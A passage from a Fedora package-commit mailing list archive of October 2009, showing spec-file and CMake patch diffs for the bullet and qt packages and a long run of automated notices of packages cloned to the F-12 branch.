Message-ID: <20091003162805.3922D11C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11968/F-12

Modified Files:
	bullet.spec lib_suffix.patch 
Log Message:

Updatet to the new upsream release



Index: bullet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-12/bullet.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- bullet.spec	24 Jul 2009 18:29:21 -0000	1.2
+++ bullet.spec	3 Oct 2009 16:28:04 -0000	1.3
@@ -1,6 +1,6 @@
 Name: bullet
-Version: 2.74
-Release: 2%{?dist}
+Version: 2.75
+Release: 1%{?dist}
 Summary: 3D Collision Detection and Rigid Body Dynamics Library
 Group: Development/Libraries
 License: zlib and MIT and BSD
@@ -11,7 +11,7 @@ Source0: %{name}-%{version}-free.tar.gz
 # this script to remove the non-free code before shipping it.
 # Download the upstream tarball and invoke this script while in the
 # tarball's directory:
-# ./generate-tarball.sh 2.74
+# ./generate-tarball.sh 2.75
 Source1: generate-tarball.sh
 
 # See http://code.google.com/p/bullet/issues/detail?id=174
@@ -98,19 +98,22 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/BulletCollision/CollisionShapes/*.h
 %{_includedir}/BulletCollision/Gimpact/*.h
 %{_includedir}/BulletCollision/NarrowPhaseCollision/*.h
+%{_includedir}/BulletCollision/*.h
 %{_includedir}/BulletDynamics/Character/*.h
 %{_includedir}/BulletDynamics/ConstraintSolver/*.h
 %{_includedir}/BulletDynamics/Dynamics/*.h
 %{_includedir}/BulletDynamics/Vehicle/*.h
+%{_includedir}/BulletDynamics/*.h
 %{_includedir}/BulletSoftBody/*.h
 %{_includedir}/LinearMath/*.h
 %{_libdir}/*.so
 
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.74-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
+* Sat Oct 03 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.75-1
+- Updatet to new upstream version 2.75
+- Updatet the patch file to work agian
 
 * Thu Jun 25 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.74-1
 - Updatet to version 2.74

lib_suffix.patch:
 BulletCollision/CMakeLists.txt |    2 +-
 BulletDynamics/CMakeLists.txt  |    2 +-
 BulletSoftBody/CMakeLists.txt  |    2 +-
 LinearMath/CMakeLists.txt      |    2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

Index: lib_suffix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-12/lib_suffix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lib_suffix.patch	27 Jun 2009 21:39:49 -0000	1.1
+++ lib_suffix.patch	3 Oct 2009 16:28:05 -0000	1.2
@@ -1,44 +1,44 @@
---- ./src/BulletCollision/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletCollision/CMakeLists.txt	2009-06-24 23:54:42.899191024 +0200
-@@ -216,7 +216,7 @@
- 
- #INSTALL of other files requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletCollision DESTINATION lib)
-+	INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
-         INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletDynamics/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletDynamics/CMakeLists.txt	2009-06-24 23:55:00.587135244 +0200
-@@ -76,7 +76,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletDynamics DESTINATION lib)
-+	INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
- 	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletSoftBody/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletSoftBody/CMakeLists.txt	2009-06-24 23:54:18.388094145 +0200
-@@ -33,7 +33,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/BulletCollision/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletCollision/CMakeLists.txt	2009-10-03 17:51:09.556672424 +0200
+@@ -248,7 +248,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletCollision DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletCollision DESTINATION lib)
++		INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletCollisionCommon.h DESTINATION include/BulletCollision)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletDynamics/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletDynamics/CMakeLists.txt	2009-10-03 17:51:16.724672532 +0200
+@@ -89,7 +89,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletDynamics DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletDynamics DESTINATION lib)
++		INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletDynamicsCommon.h DESTINATION include/BulletDynamics)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletSoftBody/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/BulletSoftBody/CMakeLists.txt	2009-10-03 17:51:25.189672245 +0200
+@@ -37,7 +37,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletSoftBody DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS BulletSoftBody DESTINATION lib)
 +	INSTALL(TARGETS BulletSoftBody DESTINATION lib${LIB_SUFFIX})
          INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/LinearMath/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/LinearMath/CMakeLists.txt	2009-06-24 23:53:03.892114830 +0200
-@@ -41,7 +41,7 @@
- 
- #FILES_MATCHING requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/LinearMath/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/LinearMath/CMakeLists.txt	2009-10-03 17:51:32.196672442 +0200
+@@ -44,7 +44,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS LinearMath DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS LinearMath DESTINATION lib)
 +	INSTALL(TARGETS LinearMath DESTINATION lib${LIB_SUFFIX})
  	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 



From rdieter at fedoraproject.org  Sat Oct  3 16:30:46 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat,  3 Oct 2009 16:30:46 +0000 (UTC)
Subject: rpms/qt/F-12 qt.spec,1.331,1.332
Message-ID: <20091003163046.741F511C0297@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12774

Modified Files:
	qt.spec 
Log Message:
buildfixes from devel/ branch



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.331
retrieving revision 1.332
diff -u -p -r1.331 -r1.332
--- qt.spec	3 Oct 2009 15:29:14 -0000	1.331
+++ qt.spec	3 Oct 2009 16:30:46 -0000	1.332
@@ -673,6 +673,9 @@ install -D -m 0644 %{SOURCE13} %{buildro
 install -D -m 0644 %{SOURCE14} %{buildroot}%{_datadir}/icons/hicolor/48x48/apps/phonon-gstreamer.png
 install -D -m 0644 %{SOURCE15} %{buildroot}%{_datadir}/icons/hicolor/64x64/apps/phonon-gstreamer.png
 install -D -m 0644 %{SOURCE16} %{buildroot}%{_datadir}/icons/hicolor/128x128/apps/phonon-gstreamer.png
+%else
+rm -fv %{buildroot}%{_qt4_plugindir}/phonon_backend/*_gstreamer.so
+rm -fv %{buildroot}%{_datadir}/kde4/services/phononbackends/gstreamer.desktop
 %endif
 
 



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:44 +0000
Subject: [pkgdb] R F-12 cloned from devel
Message-ID: <20091003160244.7205A10F958@bastion2.fedora.phx.redhat.com>

toshio cloned R F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:34 +0000
Subject: [pkgdb] asc F-12 cloned from devel
Message-ID: <20091003161134.E1EFD10F93F@bastion2.fedora.phx.redhat.com>

toshio cloned asc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asc



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:18 +0000
Subject: [pkgdb] Zim F-12 cloned from devel
Message-ID: <20091003160518.BB05610F961@bastion2.fedora.phx.redhat.com>

toshio cloned Zim F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Zim



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:10 +0000
Subject: [pkgdb] and F-12 cloned from devel
Message-ID: <20091003160910.C7C5D10F915@bastion2.fedora.phx.redhat.com>

toshio cloned and F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/and



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:28 +0000
Subject: [pkgdb] PyX F-12 cloned from devel
Message-ID: <20091003160228.6F8BF10F93E@bastion2.fedora.phx.redhat.com>

toshio cloned PyX F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyX



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:40 +0000
Subject: [pkgdb] atk F-12 cloned from devel
Message-ID: <20091003161340.55B3310FA87@bastion2.fedora.phx.redhat.com>

toshio cloned atk F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/atk



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:26 +0000
Subject: [pkgdb] ant F-12 cloned from devel
Message-ID: <20091003160926.80C1810F9AE@bastion2.fedora.phx.redhat.com>

toshio cloned ant F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ant



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:59 +0000
Subject: [pkgdb] ace F-12 cloned from devel
Message-ID: <20091003160559.9B5C010F8E1@bastion2.fedora.phx.redhat.com>

toshio cloned ace F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ace



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:41 +0000
Subject: [pkgdb] SoQt F-12 cloned from devel
Message-ID: <20091003160441.4080C10F944@bastion2.fedora.phx.redhat.com>

toshio cloned SoQt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SoQt



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:39 +0000
Subject: [pkgdb] asio F-12 cloned from devel
Message-ID: <20091003161140.2128B10F9C8@bastion2.fedora.phx.redhat.com>

toshio cloned asio F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asio



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:58 +0000
Subject: [pkgdb] apel F-12 cloned from devel
Message-ID: <20091003160958.4A2E510F9F7@bastion2.fedora.phx.redhat.com>

toshio cloned apel F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apel



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:57 +0000
Subject: [pkgdb] amsn F-12 cloned from devel
Message-ID: <20091003160857.C1EF610F9D4@bastion2.fedora.phx.redhat.com>

toshio cloned amsn F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amsn



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:56 +0000
Subject: [pkgdb] amqp F-12 cloned from devel
Message-ID: <20091003160856.05FFB10F8CA@bastion2.fedora.phx.redhat.com>

toshio cloned amqp F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amqp



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:40 +0000
Subject: [pkgdb] alex F-12 cloned from devel
Message-ID: <20091003160740.ECBEF10F997@bastion2.fedora.phx.redhat.com>

toshio cloned alex F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alex



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:41 +0000
Subject: [pkgdb] asm2 F-12 cloned from devel
Message-ID: <20091003161141.5927510F9C4@bastion2.fedora.phx.redhat.com>

toshio cloned asm2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/asm2



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:50 +0000
Subject: [pkgdb] abrt F-12 cloned from devel
Message-ID: <20091003160551.1344710F96B@bastion2.fedora.phx.redhat.com>

toshio cloned abrt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:04 +0000
Subject: [pkgdb] apmd F-12 cloned from devel
Message-ID: <20091003161004.93D7110F8EB@bastion2.fedora.phx.redhat.com>

toshio cloned apmd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apmd



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:30 +0000
Subject: [pkgdb] abby F-12 cloned from devel
Message-ID: <20091003160530.7777B10F903@bastion2.fedora.phx.redhat.com>

toshio cloned abby F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abby



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:30 +0000
Subject: [pkgdb] PyXML F-12 cloned from devel
Message-ID: <20091003160230.BFADA10F942@bastion2.fedora.phx.redhat.com>

toshio cloned PyXML F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyXML



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:22 +0000
Subject: [pkgdb] anki F-12 cloned from devel
Message-ID: <20091003160922.BCF8510F96F@bastion2.fedora.phx.redhat.com>

toshio cloned anki F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anki



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:24 +0000
Subject: [pkgdb] aalib F-12 cloned from devel
Message-ID: <20091003160524.BDBB010F894@bastion2.fedora.phx.redhat.com>

toshio cloned aalib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aalib



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:13 +0000
Subject: [pkgdb] PyQt4 F-12 cloned from devel
Message-ID: <20091003160213.18BF710F931@bastion2.fedora.phx.redhat.com>

toshio cloned PyQt4 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyQt4



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:42 +0000
Subject: [pkgdb] alex4 F-12 cloned from devel
Message-ID: <20091003160742.44F7410F99B@bastion2.fedora.phx.redhat.com>

toshio cloned alex4 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alex4



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:42 +0000
Subject: [pkgdb] R-nws F-12 cloned from devel
Message-ID: <20091003160342.54B4710F923@bastion2.fedora.phx.redhat.com>

toshio cloned R-nws F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-nws



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:35 +0000
Subject: [pkgdb] Pyrex F-12 cloned from devel
Message-ID: <20091003160235.BFE7C10F90C@bastion2.fedora.phx.redhat.com>

toshio cloned Pyrex F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Pyrex



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:48 +0000
Subject: [pkgdb] argus F-12 cloned from devel
Message-ID: <20091003161049.10F2B10F8D4@bastion2.fedora.phx.redhat.com>

toshio cloned argus F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/argus



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:08 +0000
Subject: [pkgdb] Ri-li F-12 cloned from devel
Message-ID: <20091003160408.0E42E10F8F2@bastion2.fedora.phx.redhat.com>

toshio cloned Ri-li F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Ri-li



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:52 +0000
Subject: [pkgdb] agedu F-12 cloned from devel
Message-ID: <20091003160652.52E2410F92A@bastion2.fedora.phx.redhat.com>

toshio cloned agedu F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/agedu



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:16 +0000
Subject: [pkgdb] acpid F-12 cloned from devel
Message-ID: <20091003160616.5760C10F91C@bastion2.fedora.phx.redhat.com>

toshio cloned acpid F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/acpid



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:25 +0000
Subject: [pkgdb] aprsd F-12 cloned from devel
Message-ID: <20091003161025.2310510FA00@bastion2.fedora.phx.redhat.com>

toshio cloned aprsd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aprsd



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:32 +0000
Subject: [pkgdb] ORBit F-12 cloned from devel
Message-ID: <20091003160132.CD05110F914@bastion2.fedora.phx.redhat.com>

toshio cloned ORBit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ORBit



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:00 +0000
Subject: [pkgdb] Pixie F-12 cloned from devel
Message-ID: <20091003160200.83B7310F92A@bastion2.fedora.phx.redhat.com>

toshio cloned Pixie F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Pixie



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:25 +0000
Subject: [pkgdb] R-car F-12 cloned from devel
Message-ID: <20091003160325.D0FA310F976@bastion2.fedora.phx.redhat.com>

toshio cloned R-car F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-car



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:49 +0000
Subject: [pkgdb] agave F-12 cloned from devel
Message-ID: <20091003160649.18F7410F9C1@bastion2.fedora.phx.redhat.com>

toshio cloned agave F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/agave



From pkgdb at fedoraproject.org  Sat Oct  3 16:10:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:10:52 +0000
Subject: [pkgdb] aria2 F-12 cloned from devel
Message-ID: <20091003161052.A678610F8D8@bastion2.fedora.phx.redhat.com>

toshio cloned aria2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aria2



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:37 +0000
Subject: [pkgdb] alevt F-12 cloned from devel
Message-ID: <20091003160737.C6BF410F995@bastion2.fedora.phx.redhat.com>

toshio cloned alevt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alevt



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:47 +0000
Subject: [pkgdb] afuse F-12 cloned from devel
Message-ID: <20091003160647.7DD5E10F9BF@bastion2.fedora.phx.redhat.com>

toshio cloned afuse F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/afuse



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:34 +0000
Subject: [pkgdb] aldrin F-12 cloned from devel
Message-ID: <20091003160734.62E0C10F937@bastion2.fedora.phx.redhat.com>

toshio cloned aldrin F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/aldrin



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:32 +0000
Subject: [pkgdb] PyYAML F-12 cloned from devel
Message-ID: <20091003160232.63DA410F944@bastion2.fedora.phx.redhat.com>

toshio cloned PyYAML F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyYAML



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:29 +0000
Subject: [pkgdb] SILLY F-12 cloned from devel
Message-ID: <20091003160429.8554F10F93C@bastion2.fedora.phx.redhat.com>

toshio cloned SILLY F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SILLY



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:43 +0000
Subject: [pkgdb] afflib F-12 cloned from devel
Message-ID: <20091003160643.B20CA10F984@bastion2.fedora.phx.redhat.com>

toshio cloned afflib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/afflib



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:46 +0000
Subject: [pkgdb] alfont F-12 cloned from devel
Message-ID: <20091003160746.82F9F10F99A@bastion2.fedora.phx.redhat.com>

toshio cloned alfont F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alfont



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:43 +0000
Subject: [pkgdb] Mayavi F-12 cloned from devel
Message-ID: <20091003160043.7524A10F8F4@bastion2.fedora.phx.redhat.com>

toshio cloned Mayavi F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Mayavi



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:02 +0000
Subject: [pkgdb] R2spec F-12 cloned from devel
Message-ID: <20091003160402.5524110F98D@bastion2.fedora.phx.redhat.com>

toshio cloned R2spec F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R2spec



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:36 +0000
Subject: [pkgdb] OmegaT F-12 cloned from devel
Message-ID: <20091003160136.991FD10F915@bastion2.fedora.phx.redhat.com>

toshio cloned OmegaT F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OmegaT



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:20 +0000
Subject: [pkgdb] PySBIG F-12 cloned from devel
Message-ID: <20091003160220.A18AD10F8F9@bastion2.fedora.phx.redhat.com>

toshio cloned PySBIG F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PySBIG



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:16 +0000
Subject: [pkgdb] astyle F-12 cloned from devel
Message-ID: <20091003161316.8F2A910FA7A@bastion2.fedora.phx.redhat.com>

toshio cloned astyle F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astyle



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:18 +0000
Subject: [pkgdb] audtty F-12 cloned from devel
Message-ID: <20091003161418.5598910F9F0@bastion2.fedora.phx.redhat.com>

toshio cloned audtty F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audtty



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:33 +0000
Subject: [pkgdb] SOAPpy F-12 cloned from devel
Message-ID: <20091003160433.4316310F999@bastion2.fedora.phx.redhat.com>

toshio cloned SOAPpy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/SOAPpy



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
